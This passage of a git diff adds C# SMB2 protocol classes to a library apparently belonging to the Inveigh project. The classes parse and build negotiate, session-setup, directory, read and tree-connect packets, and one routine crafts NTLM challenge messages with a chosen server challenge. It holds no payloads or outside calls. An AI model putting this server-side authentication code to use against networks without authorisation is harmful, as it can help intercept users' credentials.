0x27, 0x80, 0x25, 0x30, 0x23, 0x31, 0x21, 0x30, 0x1f, 0x06, 0x03, 0x55, 0x04, 0x03, 0x13, 0x18, 0x54, 0x6f, 0x6b, 0x65, 0x6e, 0x20, 0x53, 0x69, 0x67, 0x6e, 0x69, 0x6e, 0x67, 0x20, 0x50, 0x75, 0x62, 0x6c, 0x69, 0x63, 0x20, 0x4b, 0x65, 0x79, 0x30, 0x27, 0x80, 0x25, 0x30, 0x23, 0x31, 0x21, 0x30, 0x1f, 0x06, 0x03, 0x55, 0x04, 0x03, 0x13, 0x18, 0x54, 0x6f, 0x6b, 0x65, 0x6e, 0x20, 0x53, 0x69, 0x67, 0x6e, 0x69, 0x6e, 0x67, 0x20, 0x50, 0x75, 0x62, 0x6c, 0x69, 0x63, 0x20, 0x4b, 0x65, 0x79 };
+ byte[] mechTokenSegment = ASN1.Encode(4, spnego.MechToken);
+ mechTokenSegment = ASN1.Encode(162, mechTokenSegment);
+ byte[] mechTypesSegment = ASN1.Encode(48, spnego.MechTypes);
+ mechTypesSegment = ASN1.Encode(160, mechTypesSegment);
+ byte[] negTokenInitSegment = Utilities.BlockCopy(mechTypesSegment, mechTokenSegment);
+ negTokenInitSegment = ASN1.Encode(48, negTokenInitSegment);
+ negTokenInitSegment = ASN1.Encode(160, negTokenInitSegment);
+ byte[] gssapiData = Utilities.BlockCopy(gssapi.OID, negTokenInitSegment);
+ this.Buffer = ASN1.Encode(96, gssapiData);
+ }
+
+ }
+
+}
diff --git a/Inveigh/Protocols/Quiddity/Quiddity/Protocols/SMB2/Commands/SMB2NegotiatelRequest.cs b/Inveigh/Protocols/Quiddity/Quiddity/Protocols/SMB2/Commands/SMB2NegotiatelRequest.cs
new file mode 100644
index 0000000..884c3af
--- /dev/null
+++ b/Inveigh/Protocols/Quiddity/Quiddity/Protocols/SMB2/Commands/SMB2NegotiatelRequest.cs
@@ -0,0 +1,118 @@
+/*
+ * BSD 3-Clause License
+ *
+ * Copyright (c) 2021, Kevin Robertson
+ * All rights reserved.
+ *
+ * Redistribution and use in source and binary forms, with or without
+ * modification, are permitted provided that the following conditions are met:
+ *
+ * 1. Redistributions of source code must retain the above copyright notice, this
+ * list of conditions and the following disclaimer.
+ *
+ * 2. Redistributions in binary form must reproduce the above copyright notice,
+ * this list of conditions and the following disclaimer in the documentation
+ * and/or other materials provided with the distribution.
+ *
+ * 3. Neither the name of the copyright holder nor the names of its
+ * contributors may be used to endorse or promote products derived from
+ * this software without specific prior written permission.
+ *
+ * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
+ * AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
+ * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
+ * DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE
+ * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
+ * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
+ * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER
+ * CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,
+ * OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+ * OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
+ */
+
+using Quiddity.Support;
+using System;
+using System.IO;
+
+namespace Quiddity.SMB2
+{
+
+ class SMB2NegotiatelRequest
+ {
+ //https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-smb2/e14db7ff-763a-4263-8b10-0c3944f52fc5
+ public ushort StructureSize { get; set; }
+ public ushort DialectCount { get; set; }
+ public ushort SecurityMode { get; set; }
+ public byte[] Reserved { get; set; }
+ public byte[] Capabilities { get; set; }
+ public byte[] ClientGUID { get; set; }
+ public uint NegotiateContextOffset { get; set; }
+ public ushort NegotiateContextCount { get; set; }
+ public byte[] Reserved2 { get; set; }
+ public byte[] ClientStartTime { get; set; }
+ public byte[] Dialects { get; set; }
+ public byte[] Padding { get; set; } // todo check
+ public byte[] NegotiateContextList { get; set; }
+
+ public SMB2NegotiatelRequest(byte[] data, int offset)
+ {
+ ReadBytes(data, offset);
+ }
+
+ public byte[] GetBytes()
+ {
+
+ using (MemoryStream memoryStream = new MemoryStream())
+ {
+ PacketWriter packetWriter = new PacketWriter(memoryStream);
+ packetWriter.Write(this.StructureSize);
+ packetWriter.Write(this.DialectCount);
+ packetWriter.Write(this.SecurityMode);
+ packetWriter.Write(this.Reserved);
+ packetWriter.Write(this.Capabilities);
+ packetWriter.Write(this.ClientGUID);
+ packetWriter.Write(this.NegotiateContextOffset);
+ packetWriter.Write(this.NegotiateContextCount);
+ packetWriter.Write(this.Reserved2);
+ packetWriter.Write(this.ClientStartTime);
+ packetWriter.Write(this.Dialects);
+ packetWriter.Write(this.Padding);
+ packetWriter.Write(this.NegotiateContextList);
+ return memoryStream.ToArray();
+ }
+
+ }
+
+ public ushort GetMaxDialect()
+ {
+ byte[] maxDialectData = new byte[2];
+ maxDialectData[0] = this.Dialects[this.Dialects.Length - 2];
+ maxDialectData[1] = this.Dialects[this.Dialects.Length - 1];
+ return Utilities.DataToUInt16(maxDialectData);
+ }
+
+ public void ReadBytes(byte[] data, int offset)
+ {
+
+ using (MemoryStream memoryStream = new MemoryStream(data))
+ {
+ PacketReader packetReader = new PacketReader(memoryStream);
+ memoryStream.Position = offset;
+ this.StructureSize = packetReader.ReadUInt16();
+ this.DialectCount = packetReader.ReadUInt16();
+ this.SecurityMode = packetReader.ReadUInt16();
+ this.Reserved = packetReader.ReadBytes(2);
+ this.Capabilities = packetReader.ReadBytes(4);
+ this.ClientGUID = packetReader.ReadBytes(16);
+ this.NegotiateContextOffset = packetReader.ReadUInt32();
+ this.NegotiateContextCount = packetReader.ReadUInt16();
+ this.Reserved2 = packetReader.ReadBytes(2);
+ this.Dialects = packetReader.ReadBytes(this.DialectCount * 2);
+ this.Padding = packetReader.ReadBytes(8);
+ }
+
+ }
+
+ }
+
+}
diff --git a/Inveigh/Protocols/Quiddity/Quiddity/Protocols/SMB2/Commands/SMB2QueryDirectoryRequest.cs b/Inveigh/Protocols/Quiddity/Quiddity/Protocols/SMB2/Commands/SMB2QueryDirectoryRequest.cs
new file mode 100644
index 0000000..43c51b2
--- /dev/null
+++ b/Inveigh/Protocols/Quiddity/Quiddity/Protocols/SMB2/Commands/SMB2QueryDirectoryRequest.cs
@@ -0,0 +1,70 @@
+/*
+ * BSD 3-Clause License
+ *
+ * Copyright (c) 2021, Kevin Robertson
+ * All rights reserved.
+ *
+ * Redistribution and use in source and binary forms, with or without
+ * modification, are permitted provided that the following conditions are met:
+ *
+ * 1. Redistributions of source code must retain the above copyright notice, this
+ * list of conditions and the following disclaimer.
+ *
+ * 2. Redistributions in binary form must reproduce the above copyright notice,
+ * this list of conditions and the following disclaimer in the documentation
+ * and/or other materials provided with the distribution.
+ *
+ * 3. Neither the name of the copyright holder nor the names of its
+ * contributors may be used to endorse or promote products derived from
+ * this software without specific prior written permission.
+ *
+ * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
+ * AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
+ * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
+ * DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE
+ * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
+ * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
+ * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER
+ * CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,
+ * OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+ * OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
+ */
+using System;
+using System.Collections.Generic;
+using System.Linq;
+using System.Text;
+
+namespace Quiddity.SMB2
+{
+ enum FileInformationClass : byte
+ {
+ FileDirectoryInformation = 0x01,
+ FileFullDirectoryInformation = 0x02,
+ FileIdFullDirectoryInformation = 0x26,
+ FileBothDirectoryInformation = 0x03,
+ FileIdBothDirectoryInformation = 0x25,
+ FileNamesInformation = 0x0C
+ }
+
+ enum QueryDirectoryRequestFlags : byte
+ {
+ SMB2_RESTART_SCANS = 0x01,
+ SMB2_RETURN_SINGLE_ENTRY = 0x02,
+ SMB2_INDEX_SPECIFIED = 0x04,
+ SMB2_REOPEN = 0x10
+ }
+
+ class SMB2QueryDirectoryRequest
+ {
+ // https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-smb2/10906442-294c-46d3-8515-c277efe1f752
+ public ushort StructureSize { get; set; }
+ public byte FileInformationClass { get; set; }
+ public byte Flags { get; set; }
+ public uint FileIndex { get; set; }
+ public byte[] FileId { get; set; }
+ public uint FileNameOffset { get; set; }
+ public uint FileNameLength { get; set; }
+ public uint OutputBufferLength { get; set; }
+ public byte[] Buffer { get; set; }
+ }
+}
diff --git a/Inveigh/Protocols/Quiddity/Quiddity/Protocols/SMB2/Commands/SMB2QueryDirectoryResponse.cs b/Inveigh/Protocols/Quiddity/Quiddity/Protocols/SMB2/Commands/SMB2QueryDirectoryResponse.cs
new file mode 100644
index 0000000..43534ed
--- /dev/null
+++ b/Inveigh/Protocols/Quiddity/Quiddity/Protocols/SMB2/Commands/SMB2QueryDirectoryResponse.cs
@@ -0,0 +1,47 @@
+/*
+ * BSD 3-Clause License
+ *
+ * Copyright (c) 2021, Kevin Robertson
+ * All rights reserved.
+ *
+ * Redistribution and use in source and binary forms, with or without
+ * modification, are permitted provided that the following conditions are met:
+ *
+ * 1. Redistributions of source code must retain the above copyright notice, this
+ * list of conditions and the following disclaimer.
+ *
+ * 2. Redistributions in binary form must reproduce the above copyright notice,
+ * this list of conditions and the following disclaimer in the documentation
+ * and/or other materials provided with the distribution.
+ *
+ * 3. Neither the name of the copyright holder nor the names of its
+ * contributors may be used to endorse or promote products derived from
+ * this software without specific prior written permission.
+ *
+ * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
+ * AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
+ * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
+ * DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE
+ * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
+ * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
+ * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER
+ * CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,
+ * OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+ * OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
+ */
+using System;
+using System.Collections.Generic;
+using System.Linq;
+using System.Text;
+
+namespace Quiddity.SMB2
+{
+ class SMB2QueryDirectoryResponse
+ {
+ // https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-smb2/4f75351b-048c-4a0c-9ea3-addd55a71956
+ public ushort StructureSize { get; set; }
+ public ushort OutputBufferOffset { get; set; }
+ public uint OutputBufferLength { get; set; }
+ public byte[] Buffer { get; set; }
+ }
+}
diff --git a/Inveigh/Protocols/Quiddity/Quiddity/Protocols/SMB2/Commands/SMB2ReadRequest.cs b/Inveigh/Protocols/Quiddity/Quiddity/Protocols/SMB2/Commands/SMB2ReadRequest.cs
new file mode 100644
index 0000000..1cbb484
--- /dev/null
+++ b/Inveigh/Protocols/Quiddity/Quiddity/Protocols/SMB2/Commands/SMB2ReadRequest.cs
@@ -0,0 +1,54 @@
+/*
+ * BSD 3-Clause License
+ *
+ * Copyright (c) 2021, Kevin Robertson
+ * All rights reserved.
+ *
+ * Redistribution and use in source and binary forms, with or without
+ * modification, are permitted provided that the following conditions are met:
+ *
+ * 1. Redistributions of source code must retain the above copyright notice, this
+ * list of conditions and the following disclaimer.
+ *
+ * 2. Redistributions in binary form must reproduce the above copyright notice,
+ * this list of conditions and the following disclaimer in the documentation
+ * and/or other materials provided with the distribution.
+ *
+ * 3. Neither the name of the copyright holder nor the names of its
+ * contributors may be used to endorse or promote products derived from
+ * this software without specific prior written permission.
+ *
+ * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
+ * AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
+ * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
+ * DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE
+ * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
+ * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
+ * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER
+ * CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,
+ * OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+ * OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
+ */
+using System;
+using System.Collections.Generic;
+using System.Linq;
+using System.Text;
+
+namespace Quiddity.SMB2
+{
+ class SMB2ReadRequest
+ {
+ // https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-smb2/320f04f3-1b28-45cd-aaa1-9e5aed810dca
+ public ushort StructureSize { get; set; }
+ public byte Padding { get; set; }
+ public byte Flags { get; set; }
+ public uint Length { get; set; }
+ public ulong Offset { get; set; }
+ public byte[] Field { get; set; }
+ public uint MinimumCount { get; set; }
+ public byte[] Channel { get; set; }
+ public uint RemainingBytes { get; set; }
+ public ushort ReadChannelInfoOffset { get; set; }
+ public byte[] Buffer { get; set; }
+ }
+}
diff --git a/Inveigh/Protocols/Quiddity/Quiddity/Protocols/SMB2/Commands/SMB2ReadResponse.cs b/Inveigh/Protocols/Quiddity/Quiddity/Protocols/SMB2/Commands/SMB2ReadResponse.cs
new file mode 100644
index 0000000..4d5f52f
--- /dev/null
+++ b/Inveigh/Protocols/Quiddity/Quiddity/Protocols/SMB2/Commands/SMB2ReadResponse.cs
@@ -0,0 +1,42 @@
+/*
+ * BSD 3-Clause License
+ *
+ * Copyright (c) 2021, Kevin Robertson
+ * All rights reserved.
+ *
+ * Redistribution and use in source and binary forms, with or without
+ * modification, are permitted provided that the following conditions are met:
+ *
+ * 1. Redistributions of source code must retain the above copyright notice, this
+ * list of conditions and the following disclaimer.
+ *
+ * 2. Redistributions in binary form must reproduce the above copyright notice,
+ * this list of conditions and the following disclaimer in the documentation
+ * and/or other materials provided with the distribution.
+ *
+ * 3. Neither the name of the copyright holder nor the names of its
+ * contributors may be used to endorse or promote products derived from
+ * this software without specific prior written permission.
+ *
+ * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
+ * AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
+ * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
+ * DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE
+ * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
+ * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
+ * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER
+ * CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,
+ * OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+ * OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
+ */
+using System;
+using System.Collections.Generic;
+using System.Linq;
+using System.Text;
+
+namespace Quiddity.SMB2
+{
+ class SMB2ReadResponse
+ {
+ }
+}
diff --git a/Inveigh/Protocols/Quiddity/Quiddity/Protocols/SMB2/Commands/SMB2SessionSetupRequest.cs b/Inveigh/Protocols/Quiddity/Quiddity/Protocols/SMB2/Commands/SMB2SessionSetupRequest.cs
new file mode 100644
index 0000000..3259da2
--- /dev/null
+++ b/Inveigh/Protocols/Quiddity/Quiddity/Protocols/SMB2/Commands/SMB2SessionSetupRequest.cs
@@ -0,0 +1,89 @@
+/*
+ * BSD 3-Clause License
+ *
+ * Copyright (c) 2021, Kevin Robertson
+ * All rights reserved.
+ *
+ * Redistribution and use in source and binary forms, with or without
+ * modification, are permitted provided that the following conditions are met:
+ *
+ * 1. Redistributions of source code must retain the above copyright notice, this
+ * list of conditions and the following disclaimer.
+ *
+ * 2. Redistributions in binary form must reproduce the above copyright notice,
+ * this list of conditions and the following disclaimer in the documentation
+ * and/or other materials provided with the distribution.
+ *
+ * 3. Neither the name of the copyright holder nor the names of its
+ * contributors may be used to endorse or promote products derived from
+ * this software without specific prior written permission.
+ *
+ * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
+ * AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
+ * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
+ * DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE
+ * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
+ * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
+ * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER
+ * CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,
+ * OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+ * OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
+ */
+using System.IO;
+
+namespace Quiddity.SMB2
+{
+ class SMB2SessionSetupRequest
+ {
+ //https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-smb2/5a3c2c28-d6b0-48ed-b917-a86b2ca4575f
+ public ushort StructureSize { get; set; }
+ public byte Flags { get; set; }
+ public byte SecurityMode { get; set; }
+ public byte[] Capabilities { get; set; }
+ public byte[] Channel { get; set; }
+ public ushort SecurityBufferOffset { get; set; }
+ public ushort SecurityBufferLength { get; set; }
+ public byte[] PreviousSessionId { get; set; }
+ public byte[] Buffer { get; set; }
+
+ public SMB2SessionSetupRequest()
+ {
+ this.StructureSize = 19;
+ this.Flags = 0x00;
+ this.SecurityMode = 0x01;
+ this.Capabilities = new byte[4] { 0x01, 0x00, 0x00, 0x00 };
+ this.Channel = new byte[4];
+ this.SecurityBufferOffset = 88;
+ this.SecurityBufferLength = 0;
+ this.PreviousSessionId = new byte[8];
+ this.Buffer = new byte[0];
+ }
+
+ public SMB2SessionSetupRequest(byte[] data, int offset)
+ {
+ ReadBytes(data, offset);
+ }
+
+ public void ReadBytes(byte[] data, int offset)
+ {
+
+ using (MemoryStream memoryStream = new MemoryStream(data))
+ {
+ PacketReader packetReader = new PacketReader(memoryStream);
+ memoryStream.Position = offset;
+ this.StructureSize = packetReader.ReadUInt16();
+ this.Flags = packetReader.ReadByte();
+ this.SecurityMode = packetReader.ReadByte();
+ this.Capabilities = packetReader.ReadBytes(4);
+ this.Channel = packetReader.ReadBytes(4);
+ this.SecurityBufferOffset = packetReader.ReadUInt16();
+ this.SecurityBufferLength = packetReader.ReadUInt16();
+ this.PreviousSessionId = packetReader.ReadBytes(8);
+ this.Buffer = packetReader.ReadBytes(this.SecurityBufferLength);
+ }
+
+ }
+
+ }
+
+}
diff --git a/Inveigh/Protocols/Quiddity/Quiddity/Protocols/SMB2/Commands/SMB2SessionSetupResponse.cs b/Inveigh/Protocols/Quiddity/Quiddity/Protocols/SMB2/Commands/SMB2SessionSetupResponse.cs
new file mode 100644
index 0000000..7948a9c
--- /dev/null
+++ b/Inveigh/Protocols/Quiddity/Quiddity/Protocols/SMB2/Commands/SMB2SessionSetupResponse.cs
@@ -0,0 +1,114 @@
+/*
+ * BSD 3-Clause License
+ *
+ * Copyright (c) 2021, Kevin Robertson
+ * All rights reserved.
+ *
+ * Redistribution and use in source and binary forms, with or without
+ * modification, are permitted provided that the following conditions are met:
+ *
+ * 1. Redistributions of source code must retain the above copyright notice, this
+ * list of conditions and the following disclaimer.
+ *
+ * 2. Redistributions in binary form must reproduce the above copyright notice,
+ * this list of conditions and the following disclaimer in the documentation
+ * and/or other materials provided with the distribution.
+ *
+ * 3. Neither the name of the copyright holder nor the names of its
+ * contributors may be used to endorse or promote products derived from
+ * this software without specific prior written permission.
+ *
+ * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
+ * AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
+ * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
+ * DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE
+ * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
+ * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
+ * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER
+ * CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,
+ * OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+ * OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
+ */
+using System;
+using System.IO;
+using Quiddity.NTLM;
+
+namespace Quiddity.SMB2
+{
+ class SMB2SessionSetupResponse
+ {
+ // https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-smb2/0324190f-a31b-4666-9fa9-5c624273a694
+ public ushort StructureSize { get; set; }
+ public ushort SessionFlags { get; set; }
+ public ushort SecurityBufferOffset { get; set; }
+ public ushort SecurityBufferLength { get; set; }
+ public byte[] Buffer { get; set; }
+
+ public SMB2SessionSetupResponse()
+ {
+ this.StructureSize = 9;
+ this.SessionFlags = 0;
+ this.SecurityBufferOffset = 72;
+ this.SecurityBufferLength = 0;
+ this.Buffer = new byte[0];
+ }
+
+ public SMB2SessionSetupResponse(byte[] data, int offset)
+ {
+ ReadBytes(data, offset);
+ }
+
+ public void ReadBytes(byte[] data, int offset)
+ {
+
+ using (MemoryStream memoryStream = new MemoryStream(data))
+ {
+ PacketReader packetReader = new PacketReader(memoryStream);
+ memoryStream.Position = offset;
+ this.StructureSize = packetReader.ReadUInt16();
+ this.SessionFlags = packetReader.ReadUInt16();
+ this.SecurityBufferOffset = packetReader.ReadUInt16();
+ this.SecurityBufferLength = packetReader.ReadUInt16();
+ this.Buffer = packetReader.ReadBytes(this.SecurityBufferLength);
+ }
+
+ }
+
+ public byte[] GetBytes()
+ {
+ this.SecurityBufferLength = (ushort)Buffer.Length;
+
+ using (MemoryStream memoryStream = new MemoryStream())
+ {
+ PacketWriter packetWriter = new PacketWriter(memoryStream);
+ packetWriter.Write(this.StructureSize);
+ packetWriter.Write(this.SessionFlags);
+ packetWriter.Write(this.SecurityBufferOffset);
+ packetWriter.Write(this.SecurityBufferLength);
+
+ if (this.SecurityBufferLength > 0)
+ {
+ packetWriter.Write(this.Buffer);
+ }
+
+ return memoryStream.ToArray();
+ }
+
+ }
+
+ public void Pack(string challenge, string netBIOSName, string computerName, string dnsDomain, string dnsComputerName, string dnsTreeName, out byte[] challengeData)
+ {
+ NTLMChallenge ntlmChallenge = new NTLMChallenge();
+ ntlmChallenge.ServerChallenge = ntlmChallenge.Challenge(challenge);
+ challengeData = ntlmChallenge.ServerChallenge;
+ byte[] timestamp = BitConverter.GetBytes(DateTime.Now.ToFileTime());
+ NTLMAVPair ntlmAVPair = new NTLMAVPair();
+ ntlmChallenge.Payload = ntlmAVPair.GetBytes(netBIOSName, computerName, dnsDomain, dnsComputerName, dnsTreeName, timestamp);
+ byte[] ntlmChallengeData = ntlmChallenge.GetBytes(computerName);
+ byte[] gssapiData = ntlmChallenge.Encode(ntlmChallengeData);
+ this.SecurityBufferLength = (ushort)gssapiData.Length;
+ this.Buffer = gssapiData;
+ }
+
+ }
+}
diff --git a/Inveigh/Protocols/Quiddity/Quiddity/Protocols/SMB2/Commands/SMB2TreeConnectRequest.cs b/Inveigh/Protocols/Quiddity/Quiddity/Protocols/SMB2/Commands/SMB2TreeConnectRequest.cs
new file mode 100644
index 0000000..48ad1d4
--- /dev/null
+++ b/Inveigh/Protocols/Quiddity/Quiddity/Protocols/SMB2/Commands/SMB2TreeConnectRequest.cs
@@ -0,0 +1,50 @@
+/*
+ * BSD 3-Clause License
+ *
+ * Copyright (c) 2021, Kevin Robertson
+ * All rights reserved.
+ *
+ * Redistribution and use in source and binary forms, with or without
+ * modification, are permitted provided that the following conditions are met:
+ *
+ * 1. Redistributions of source code must retain the above copyright notice, this
+ * list of conditions and the following disclaimer.
+ *
+ * 2. Redistributions in binary form must reproduce the above copyright notice,
+ * this list of conditions and the following disclaimer in the documentation
+ * and/or other materials provided with the distribution.
+ *
+ * 3. Neither the name of the copyright holder nor the names of its
+ * contributors may be used to endorse or promote products derived from
+ * this software without specific prior written permission.
+ *
+ * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
+ * AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
+ * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
+ * DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE
+ * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
+ * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
+ * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER
+ * CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,
+ * OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+ * OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
+ */
+using System;
+using System.Collections.Generic;
+using System.Linq;
+using System.Text;
+
+namespace Quiddity.SMB2
+{
+
+ class SMB2TreeConnectRequest
+ {
+ // https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-smb2/832d2130-22e8-4afb-aafd-b30bb0901798
+ public ushort StructureSize { get; set; }
+ public byte[] Flags { get; set; }
+ public byte[] Reserved { get; set; }
+ public ushort PathOffset { get; set; }
+ public ushort PathLength { get; set; }
+ public byte[] Buffer { get; set; }
+ }
+}
diff --git a/Inveigh/Protocols/Quiddity/Quiddity/Protocols/SMB2/Commands/SMB2TreeConnectResponse.cs b/Inveigh/Protocols/Quiddity/Quiddity/Protocols/SMB2/Commands/SMB2TreeConnectResponse.cs
new file mode 100644
index 0000000..64214cc
--- /dev/null
+++ b/Inveigh/Protocols/Quiddity/Quiddity/Protocols/SMB2/Commands/SMB2TreeConnectResponse.cs
@@ -0,0 +1,88 @@
+/*
+ * BSD 3-Clause License
+ *
+ * Copyright (c) 2021, Kevin Robertson
+ * All rights reserved.
+ *
+ * Redistribution and use in source and binary forms, with or without
+ * modification, are permitted provided that the following conditions are met:
+ *
+ * 1. Redistributions of source code must retain the above copyright notice, this
+ * list of conditions and the following disclaimer.
+ *
+ * 2. Redistributions in binary form must reproduce the above copyright notice,
+ * this list of conditions and the following disclaimer in the documentation
+ * and/or other materials provided with the distribution.
+ *
+ * 3. Neither the name of the copyright holder nor the names of its
+ * contributors may be used to endorse or promote products derived from
